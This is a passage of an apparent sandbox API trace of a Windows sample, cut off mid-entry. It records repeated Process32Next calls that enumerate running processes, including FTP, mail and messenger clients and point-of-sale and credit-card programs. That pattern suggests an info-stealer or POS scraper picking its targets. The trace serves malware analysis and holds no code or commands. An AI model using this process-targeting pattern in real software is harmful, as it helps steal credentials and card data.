lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1028, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0212.152] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0212.155] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0212.158] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1044, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0212.162] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0212.165] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0212.168] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0212.171] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0212.174] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0212.177] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0212.179] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0212.183] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0212.186] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0212.188] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0212.190] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0212.192] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0212.195] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0212.196] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0212.198] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1100, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0212.200] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0212.202] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0212.205] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0212.208] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0212.211] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0212.320] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0212.323] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0212.325] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0212.328] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0212.332] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0212.335] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="large.exe")) returned 1 [0212.338] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="analysis_democrat.exe")) returned 1 [0212.341] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0212.344] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0212.346] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.350] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0212.352] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0212.355] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0212.357] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0212.360] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 1 [0212.363] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 0 [0212.365] CloseHandle (hObject=0x11c8) returned 1 [0212.365] Sleep (dwMilliseconds=0x64) [0212.474] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11c8 [0212.486] Process32First (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0212.488] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x79, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0212.489] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0212.491] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0212.493] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0212.495] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0212.497] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0212.498] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0212.500] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0212.502] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.504] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.506] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0212.507] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.509] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.511] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.513] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.514] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.516] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.518] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.519] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0212.521] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0212.523] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x35, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0212.525] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.526] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0212.528] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0212.530] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0212.532] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0212.534] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0212.672] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0212.676] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0212.677] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.679] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0212.681] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0212.738] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0212.741] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0212.743] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="teammaintain.exe")) returned 1 [0212.745] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cover_more.exe")) returned 1 [0212.747] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="along.exe")) returned 1 [0212.749] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="another artist.exe")) returned 1 [0212.751] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="second-position-home.exe")) returned 1 [0212.753] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0212.756] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="he mention news.exe")) returned 1 [0212.758] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: 